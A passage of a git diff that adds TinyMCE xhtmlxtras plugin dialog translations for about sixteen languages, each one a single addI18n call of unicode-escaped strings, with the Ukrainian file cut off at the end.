b/js/tiny_mce2/plugins/xhtmlxtras/langs/ka_dlg.js new file mode 100755 index 0000000..9898869 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.xhtmlxtras_dlg',{"attribs_title":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8","option_rtl":"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","option_ltr":"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5","insert_date":"\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",remove:"\u10ec\u10d0\u10e8\u10da\u10d0","title_cite_element":"\u10ea\u10d8\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","title_abbr_element":"\u10e8\u10d4\u10db\u10dd\u10d9\u10da\u10d4\u10d1\u10d0","title_acronym_element":"\u10d0\u10d1\u10e0\u10d8\u10d5\u10d8\u10d0\u10ea\u10d8\u10d0","title_del_element":"\u10ec\u10d0\u10e8\u10da\u10d0","title_ins_element":"\u10e8\u10d4\u10ea\u10d5\u10da\u10d0","fieldset_events_tab":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d4\u10d1\u10d8\u10e1 \u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d4\u10d1\u10d8","fieldset_attrib_tab":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","fieldset_general_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","events_tab":"\u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d0","attrib_tab":"\u10d0\u10e2\u10e0\u10d8\u10d1\u10e3\u10e2\u10d8","general_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd","attribute_attrib_tab":"\u10d0\u10e2\u10e0\u10d8\u10d1\u10e3\u10e2\u10d8","attribute_events_tab":"\u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d0","attribute_label_accesskey":"\u10ec\u10d5\u10d3\u10dd\u10db\u10d8\u10e1 \u10d2\u10d0\u10e1\u10d0\u10e6\u10d4\u10d1\u10d8","attribute_label_tabindex":"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","attribute_label_langcode":"\u10d4\u10dc\u10d0","attribute_option_rtl":"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","attribute_option_ltr":"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5","attribute_label_langdir":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0","attribute_label_datetime":"\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8/\u10d3\u10e0\u10dd","attribute_label_cite":"\u10ea\u10d8\u10e2\u10d0\u10e2\u10d0","attribute_label_style":"\u10e1\u10e2\u10d8\u10da\u10d8","attribute_label_class":"\u10d9\u10da\u10d0\u10e1\u10d8","attribute_label_id":"\u10e1\u10d0\u10ee\u10d4\u10da\u10d8","attribute_label_title":"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/ko_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/ko_dlg.js new file mode 100755 index 0000000..b8db8e2 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.xhtmlxtras_dlg',{"attribs_title":"\uc18d\uc131\uc758 \uc0bd\uc785/\ud3b8\uc9d1","option_rtl":"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd","option_ltr":"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd","insert_date":"\ud604\uc7ac\uc758 \ub0a0\uc9dc/\uc2dc\uac04\uc744 \uc0bd\uc785",remove:"\uc0ad\uc81c","title_cite_element":"\uc778\uc6a9 \uc694\uc18c","title_abbr_element":"\uc57d\uae30 \uc694\uc18c","title_acronym_element":"\uba38\ub9ac \uae00\uc790\uc5b4 \uc694\uc18c","title_del_element":"\uc694\uc18c\uc758 \uc0ad\uc81c","title_ins_element":"\uc694\uc18c\uc758 \uc0bd\uc785","fieldset_events_tab":"\uc694\uc18c\uc758 \uc774\ubca4\ud2b8","fieldset_attrib_tab":"\uc694\uc18c\uc758 \uc18d\uc131","fieldset_general_tab":"\uc77c\ubc18 \uc124\uc815","events_tab":"\uc774\ubca4\ud2b8","attrib_tab":"\uc18d\uc131","general_tab":"\uc77c\ubc18","attribute_attrib_tab":"\uc18d\uc131","attribute_events_tab":"\uc774\ubca4\ud2b8","attribute_label_accesskey":"\uc561\uc138\uc2a4 \ud0a4","attribute_label_tabindex":"\ud0ed \uc778\ub371\uc2a4","attribute_label_langcode":"\uc5b8\uc5b4","attribute_option_rtl":"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd","attribute_option_ltr":"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd","attribute_label_langdir":"\ubb38\uc790 \ubc29\ud5a5","attribute_label_datetime":"\ub0a0\uc9dc/\uc2dc\uac04","attribute_label_cite":"\uc778\uc6a9","attribute_label_style":"\uc2a4\ud0c0\uc77c","attribute_label_class":"\ud074\ub798\uc2a4","attribute_label_id":"ID","attribute_label_title":"\uc81c\ubaa9"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/lt_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/lt_dlg.js new file mode 100755 index 0000000..ebf7cfb --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.xhtmlxtras_dlg',{"attribs_title":"\u012eterpti/Redaguoti atributus","option_rtl":"I\u0161 de\u0161in\u0117s \u012f kair\u0119","option_ltr":"I\u0161 kair\u0117s \u012f de\u0161in\u0119","insert_date":"\u012eterpti dabartin\u0119 dat\u0105/laik\u0105",remove:"Pa\u0161alinti","title_cite_element":"Citatos elementas","title_abbr_element":"Santrumpos elementas","title_acronym_element":"Akronimo elementas","title_del_element":"Pa\u0161alinimo elementas","title_ins_element":"\u012eterpimo elementas","fieldset_events_tab":"Elemento \u012fvykiai","fieldset_attrib_tab":"Elemento atributai","fieldset_general_tab":"Bendri nustatymai","events_tab":"\u012evykiai","attrib_tab":"Atributai","general_tab":"Bendra","attribute_attrib_tab":"Atributai","attribute_events_tab":"\u012evykiai","attribute_label_accesskey":"Prieigos klavi\u0161as","attribute_label_tabindex":"Tabuliavimo indeksas","attribute_label_langcode":"Kalba","attribute_option_rtl":"I\u0161 de\u0161in\u0117s \u012f kair\u0119","attribute_option_ltr":"I\u0161 kair\u0117s \u012f de\u0161in\u0119","attribute_label_langdir":"Kalbos teksto kryptis","attribute_label_datetime":"Data/Laikas","attribute_label_cite":"Citata","attribute_label_style":"Stilius","attribute_label_class":"Klas\u0117","attribute_label_id":"ID","attribute_label_title":"Pavadinimas"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/nl_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/nl_dlg.js new file mode 100755 index 0000000..5708ddf --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.xhtmlxtras_dlg',{"attribs_title":"Attributen Invoegen/bewerken","option_rtl":"Van rechts naar links","option_ltr":"Van links naar rechts","insert_date":"Huidige datum/tijd invoegen",remove:"Verwijderen","title_cite_element":"Citaat","title_abbr_element":"Afkorting","title_acronym_element":"Synoniem","title_del_element":"Verwijderingselement","title_ins_element":"Invoegingselement","fieldset_events_tab":"Element Gebeurtenissen","fieldset_attrib_tab":"Elementattributen","fieldset_general_tab":"Algemene instellingen","events_tab":"Gebeurtenissen","attrib_tab":"Attributen","general_tab":"Algemeen","attribute_attrib_tab":"Attributen","attribute_events_tab":"Gebeurtenissen","attribute_label_accesskey":"Toegangstoets","attribute_label_tabindex":"Tabvolgorde","attribute_label_langcode":"Taal","attribute_option_rtl":"Van rechts naar links","attribute_option_ltr":"Van links naar rechts","attribute_label_langdir":"Tekstrichting","attribute_label_datetime":"Datum/Tijd","attribute_label_cite":"Citaat","attribute_label_style":"Stijl","attribute_label_class":"Klasse","attribute_label_id":"ID","attribute_label_title":"Titel"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/no_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/no_dlg.js new file mode 100755 index 0000000..7949e64 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.xhtmlxtras_dlg',{"attribs_title":"Sett inn/editer attributt","option_rtl":"H\u00f8yre mot venstre","option_ltr":"Venstre mot h\u00f8yre","insert_date":"Sett inn dato/tid",remove:"Fjerne","title_cite_element":"Sitat element","title_abbr_element":"Forkorting element","title_acronym_element":"Akronym element","title_del_element":"Slette element","title_ins_element":"Innsetting element","fieldset_events_tab":"Element hendelser","fieldset_attrib_tab":"Element attributter","fieldset_general_tab":"Generelle innstillinger","events_tab":"Hendelser","attrib_tab":"Attributter","general_tab":"Generelt","attribute_attrib_tab":"Attributter","attribute_events_tab":"Hendelser","attribute_label_accesskey":"Tilgangsn\u00f8kkel","attribute_label_tabindex":"Tab indeks","attribute_label_langcode":"Spr\u00e5k","attribute_option_rtl":"H\u00f8yre mot venstre","attribute_option_ltr":"Venstre mot h\u00f8yre","attribute_label_langdir":"Tekstretning","attribute_label_datetime":"Dato/tid","attribute_label_cite":"Sted","attribute_label_style":"Stil","attribute_label_class":"Klasse","attribute_label_id":"ID","attribute_label_title":"Tittel"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/pl_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/pl_dlg.js new file mode 100755 index 0000000..a409dd3 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.xhtmlxtras_dlg',{"attribs_title":"Wklej/edytuj atrybuty","option_rtl":"Kierunek z prawej do lewej","option_ltr":"Kierunek z lewej do prawej","insert_date":"Wklej aktualn\u0105 dat\u0119/czas",remove:"Usu\u0144","title_cite_element":"Cytat","title_abbr_element":"Skr\u00f3t","title_acronym_element":"Akronim","title_del_element":"Usuni\u0119cie","title_ins_element":"Wstawienie","fieldset_events_tab":"Zdarzenia","fieldset_attrib_tab":"Atrybuty","fieldset_general_tab":"G\u0142\u00f3wne ustawienia","events_tab":"Zdarzenia","attrib_tab":"Atrybuty","general_tab":"G\u0142\u00f3wny","attribute_attrib_tab":"Atrybuty","attribute_events_tab":"Zdarzenia","attribute_label_accesskey":"Klawisz skr\u00f3tu","attribute_label_tabindex":"Numer tabulacji","attribute_label_langcode":"J\u0119zyk","attribute_option_rtl":"Kierunek z prawej do lewej","attribute_option_ltr":"Kierunek z lewej do prawej","attribute_label_langdir":"Kierunek czytania tekstu","attribute_label_datetime":"Data/Czas","attribute_label_cite":"Cytat","attribute_label_style":"Styl","attribute_label_class":"Klasa","attribute_label_id":"ID","attribute_label_title":"Tytu\u0142"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/pt_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/pt_dlg.js new file mode 100755 index 0000000..520eaa5 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.xhtmlxtras_dlg',{"attribs_title":"Inserir/editar atributos","option_rtl":"Da direita para a esquerda","option_ltr":"Da esquerda para a direita","insert_date":"Inserir data/hora",remove:"Remover","title_cite_element":"Cita\u00e7\u00e3o","title_abbr_element":"Abrevia\u00e7\u00e3o","title_acronym_element":"Acr\u00f4nimo","title_del_element":"Apagar","title_ins_element":"Inserir","fieldset_events_tab":"Eventos","fieldset_attrib_tab":"Atributos","fieldset_general_tab":"Configura\u00e7\u00f5es gerais","events_tab":"Eventos","attrib_tab":"Atributos","general_tab":"Geral","attribute_attrib_tab":"Atributos","attribute_events_tab":"Eventos","attribute_label_accesskey":"Tecla de Atalho","attribute_label_tabindex":"TabIndex","attribute_label_langcode":"Idioma","attribute_option_rtl":"Da direita para a esquerda","attribute_option_ltr":"Da esquerda para a direita","attribute_label_langdir":"Dire\u00e7\u00e3o do texto","attribute_label_datetime":"Data/Hora","attribute_label_cite":"Citar","attribute_label_style":"Estilo","attribute_label_class":"Classe","attribute_label_id":"ID","attribute_label_title":"T\u00edtulo"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/ro_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/ro_dlg.js new file mode 100755 index 0000000..bb80219 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.xhtmlxtras_dlg',{"attribs_title":"Inserare atribute","option_rtl":"De la dreapta la st\u00e2nga","option_ltr":"De la st\u00e2nga la dreapta","insert_date":"Inserare dat\u0103/or\u0103 curent\u0103",remove:"Scoate","title_cite_element":"Citare","title_abbr_element":"Abreviere","title_acronym_element":"Acronim","title_del_element":"\u0218tergere element","title_ins_element":"Inserare element","fieldset_events_tab":"Evenimente element","fieldset_attrib_tab":"Atribute element","fieldset_general_tab":"Set\u0103ri generale","events_tab":"Evenimente","attrib_tab":"Atribute","general_tab":"General","attribute_attrib_tab":"Atribute","attribute_events_tab":"Evenimente","attribute_label_accesskey":"Tast\u0103 de acces","attribute_label_tabindex":"TabIndex","attribute_label_langcode":"Limb\u0103","attribute_option_rtl":"De la dreapta la st\u00e2nga","attribute_option_ltr":"De la st\u00e2nga la dreapta","attribute_label_langdir":"Direc\u021bie text","attribute_label_datetime":"Dat\u0103/or\u0103","attribute_label_cite":"Citat","attribute_label_style":"Stil","attribute_label_class":"Clas\u0103","attribute_label_id":"ID","attribute_label_title":"Titlu"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/ru_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/ru_dlg.js new file mode 100755 index 0000000..bd25335 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.xhtmlxtras_dlg',{"attribs_title":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430","option_rtl":"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e","option_ltr":"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e","insert_date":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0434\u0430\u0442\u0443/\u0432\u0440\u0435\u043c\u044f",remove:"\u0423\u0434\u0430\u043b\u0438\u0442\u044c","title_cite_element":"\u0426\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435","title_abbr_element":"\u0421\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0435","title_acronym_element":"\u0410\u0431\u0431\u0440\u0435\u0432\u0438\u0430\u0446\u0438\u044f","title_del_element":"\u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435","title_ins_element":"\u0417\u0430\u043c\u0435\u043d\u0430","fieldset_events_tab":"\u0421\u043e\u0431\u044b\u0442\u0438\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430","fieldset_attrib_tab":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430","fieldset_general_tab":"\u041e\u0431\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","events_tab":"\u0421\u043e\u0431\u044b\u0442\u0438\u044f","attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u044b","general_tab":"\u041e\u0431\u0449\u0435\u0435","attribute_attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u044b","attribute_events_tab":"\u0421\u043e\u0431\u044b\u0442\u0438\u044f","attribute_label_accesskey":"\u041a\u043b\u044e\u0447 \u0434\u043e\u0441\u0442\u0443\u043f\u0430","attribute_label_tabindex":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","attribute_label_langcode":"\u042f\u0437\u044b\u043a","attribute_option_rtl":"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e","attribute_option_ltr":"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e","attribute_label_langdir":"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430","attribute_label_datetime":"\u0414\u0430\u0442\u0430/\u0412\u0440\u0435\u043c\u044f","attribute_label_cite":"\u0426\u0438\u0442\u0430\u0442\u0430","attribute_label_style":"\u0421\u0442\u0438\u043b\u044c","attribute_label_class":"\u041a\u043b\u0430\u0441\u0441","attribute_label_id":"\u0418\u043c\u044f","attribute_label_title":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/sk_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/sk_dlg.js new file mode 100755 index 0000000..3ee6e8b --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.xhtmlxtras_dlg',{"attribs_title":"Vlo\u017ei\u0165/upravi\u0165 atrib\u00faty","option_rtl":"Sprava do\u013eava","option_ltr":"Z\u013eava doprava","insert_date":"Vlo\u017ei\u0165 aktu\u00e1lny d\u00e1tum/\u010das",remove:"Odstr\u00e1ni\u0165","title_cite_element":"Cit\u00e1cia","title_abbr_element":"Skratka","title_acronym_element":"Akronym","title_del_element":"Odstr\u00e1nen\u00fd text","title_ins_element":"Pridan\u00fd text","fieldset_events_tab":"Atrib\u00faty udalost\u00ed","fieldset_attrib_tab":"Atrib\u00faty prvku","fieldset_general_tab":"Obecn\u00e9 parametre","events_tab":"Udalosti","attrib_tab":"Atrib\u00faty","general_tab":"Obecn\u00e9","attribute_attrib_tab":"Atrib\u00faty","attribute_events_tab":"Udalosti","attribute_label_accesskey":"Kl\u00e1vesov\u00e1 skratka","attribute_label_tabindex":"Poradie pre tabul\u00e1tor","attribute_label_langcode":"Jazyk","attribute_option_rtl":"Sprava do\u013eava","attribute_option_ltr":"Z\u013eava doprava","attribute_label_langdir":"Smer textu","attribute_label_datetime":"D\u00e1tum/\u010das","attribute_label_cite":"Cit\u00e1cia","attribute_label_style":"\u0160t\u00fdl","attribute_label_class":"Trieda","attribute_label_id":"ID","attribute_label_title":"Titulok"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/sl_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/sl_dlg.js new file mode 100755 index 0000000..09cb321 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.xhtmlxtras_dlg',{"attribs_title":"Vstavi/uredi atribute","option_rtl":"Od desne proti levi","option_ltr":"Od leve proti desni","insert_date":"Vstavi trenutni datum/\u010das",remove:"Odstrani","title_cite_element":"Citat","title_abbr_element":"Okraj\u0161ava","title_acronym_element":"Kratica","title_del_element":"Izbrisano","title_ins_element":"Vstavljeno","fieldset_events_tab":"Dogodki elementa","fieldset_attrib_tab":"Atributi elementa","fieldset_general_tab":"Splo\u0161ne nastavitve","events_tab":"Dogodki","attrib_tab":"Atributi","general_tab":"Splo\u0161no","attribute_attrib_tab":"Atributi","attribute_events_tab":"Dogodki","attribute_label_accesskey":"Tipka dostopa","attribute_label_tabindex":"Zap. \u0161t.","attribute_label_langcode":"Jezik","attribute_option_rtl":"Od desne proti levi","attribute_option_ltr":"Od leve proti desni","attribute_label_langdir":"Smer pisave","attribute_label_datetime":"Datum/ura","attribute_label_cite":"Citat","attribute_label_style":"Slog","attribute_label_class":"Razred","attribute_label_id":"Id","attribute_label_title":"Naslov"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/sv_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/sv_dlg.js new file mode 100755 index 0000000..7184797 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.xhtmlxtras_dlg',{"attribs_title":"Redigera attribut","option_rtl":"H\u00f6ger till v\u00e4nster","option_ltr":"V\u00e4nster till h\u00f6ger","insert_date":"Infoga nuvarande datum och tid",remove:"Radera","title_cite_element":"Citat","title_abbr_element":"F\u00f6rkortning","title_acronym_element":"Akronym","title_del_element":"Markera som struket","title_ins_element":"Markera som tillagt","fieldset_events_tab":"H\u00e4ndelser","fieldset_attrib_tab":"Attribut","fieldset_general_tab":"Generella inst\u00e4llningar","events_tab":"H\u00e4ndelser","attrib_tab":"Attribut","general_tab":"Generellt","attribute_attrib_tab":"Attribut","attribute_events_tab":"H\u00e4ndelser","attribute_label_accesskey":"Snabbtangent","attribute_label_tabindex":"Tabbindex","attribute_label_langcode":"Spr\u00e5k","attribute_option_rtl":"H\u00f6ger till v\u00e4nster","attribute_option_ltr":"V\u00e4nster till h\u00f6ger","attribute_label_langdir":"Skriftriktning","attribute_label_datetime":"Datum/Tid","attribute_label_cite":"Citat","attribute_label_style":"Stil","attribute_label_class":"Klass","attribute_label_id":"ID","attribute_label_title":"Titel"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/th_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/th_dlg.js new file mode 100755 index 0000000..c5e2eb4 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.xhtmlxtras_dlg',{"attribs_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 Attributes","option_rtl":"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22","option_ltr":"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32","insert_date":"\u0e40\u0e1e\u0e34\u0e48\u0e21 \u0e27\u0e31\u0e19/\u0e40\u0e27\u0e25\u0e32",remove:"\u0e25\u0e1a","title_cite_element":"Citation Element","title_abbr_element":"Abbreviation Element","title_acronym_element":"Acronym Element","title_del_element":"Deletion Element","title_ins_element":"Insertion Element","fieldset_events_tab":"Element Event","fieldset_attrib_tab":"Element Attributes","fieldset_general_tab":"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","events_tab":"\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21","attrib_tab":"Attributes","general_tab":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","attribute_attrib_tab":"Attributes","attribute_events_tab":"Event","attribute_label_accesskey":"\u0e1b\u0e38\u0e48\u0e21\u0e25\u0e31\u0e14","attribute_label_tabindex":"\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e41\u0e17\u0e47\u0e1a","attribute_label_langcode":"\u0e20\u0e32\u0e29\u0e32","attribute_option_rtl":"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22","attribute_option_ltr":"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32","attribute_label_langdir":"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","attribute_label_datetime":"\u0e27\u0e31\u0e19/\u0e40\u0e27\u0e25\u0e32","attribute_label_cite":"Cite","attribute_label_style":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","attribute_label_class":"\u0e04\u0e25\u0e32\u0e2a","attribute_label_id":"ID","attribute_label_title":"\u0e0a\u0e37\u0e48\u0e2d"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/tr_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/tr_dlg.js new file mode 100755 index 0000000..cca5435 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.xhtmlxtras_dlg',{"attribs_title":"Nitelik ekle/d\u00fczenle","option_rtl":"Soldan sa\u011fa","option_ltr":"Sa\u011fdan sola","insert_date":"\u015euan ki tarih/saati ekle",remove:"Sil","title_cite_element":"Nesne Al\u0131nt\u0131s\u0131","title_abbr_element":"Nesne K\u0131saltmas\u0131","title_acronym_element":"Nense K\u0131sa ad\u0131","title_del_element":"Nesne Silme","title_ins_element":"Nesne Ekleme","fieldset_events_tab":"Nesne Olaylar\u0131","fieldset_attrib_tab":"Nesne Nitelikleri","fieldset_general_tab":"Genel Ayarlar","events_tab":"Olaylar","attrib_tab":"Nitelikler","general_tab":"Genel","attribute_attrib_tab":"Nitelikler","attribute_events_tab":"Olaylar","attribute_label_accesskey":"Eri\u015fim Tu\u015fu","attribute_label_tabindex":"Sekme indeksi","attribute_label_langcode":"Dil","attribute_option_rtl":"Soldan sa\u011fa","attribute_option_ltr":"Sa\u011fdan sola","attribute_label_langdir":"Metnin y\u00f6n\u00fc","attribute_label_datetime":"Tarih/Saat","attribute_label_cite":"Al\u0131nt\u0131 yapmak","attribute_label_style":"Stil","attribute_label_class":"S\u0131n\u0131f","attribute_label_id":"ID","attribute_label_title":"Ba\u015fl\u0131k"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/tw_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/tw_dlg.js new file mode 100755 index 0000000..470b9a5 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.xhtmlxtras_dlg',{"attribs_title":"\u63d2\u5165/\u7de8\u8f2f\u5c6c\u6027","option_rtl":"\u5f9e\u53f3\u5230\u5de6","option_ltr":"\u5f9e\u5de6\u5230\u53f3","insert_date":"\u63d2\u5165\u76ee\u524d\u65e5\u671f/\u6642\u9593",remove:"\u79fb\u9664","title_cite_element":"\u5f15\u7528\u5143\u7d20","title_abbr_element":"\u7e2e\u5beb\u5143\u7d20","title_acronym_element":"\u9996\u5b57\u6bcd\u7e2e\u5beb\u5143\u7d20","title_del_element":"\u522a\u9664\u5143\u7d20","title_ins_element":"\u63d2\u5165\u5143\u7d20","fieldset_events_tab":"\u5143\u7d20\u4e8b\u4ef6","fieldset_attrib_tab":"\u5143\u7d20\u5c6c\u6027","fieldset_general_tab":"\u4e00\u822c\u8a2d\u5b9a","events_tab":"\u4e8b\u4ef6","attrib_tab":"\u5c6c\u6027","general_tab":"\u4e00\u822c","attribute_attrib_tab":"\u5c6c\u6027","attribute_events_tab":"\u4e8b\u4ef6","attribute_label_accesskey":"\u5feb\u6377\u9375","attribute_label_tabindex":"Tab\u7d22\u5f15","attribute_label_langcode":"\u8a9e\u8a00","attribute_option_rtl":"\u5f9e\u53f3\u5230\u5de6","attribute_option_ltr":"\u5f9e\u5de6\u5230\u53f3","attribute_label_langdir":"\u6587\u5b57\u66f8\u5beb\u65b9\u5411","attribute_label_datetime":"\u65e5\u671f/\u6642\u9593","attribute_label_cite":"\u5f15\u7528","attribute_label_style":"\u6a23\u5f0f","attribute_label_class":"\u985e\u5225","attribute_label_id":"ID","attribute_label_title":"\u6a19\u984c"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/uk_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/uk_dlg.js new file mode 100755 index 0000000..1dbf928 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.xhtmlxtras_dlg',{"attribs_title":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 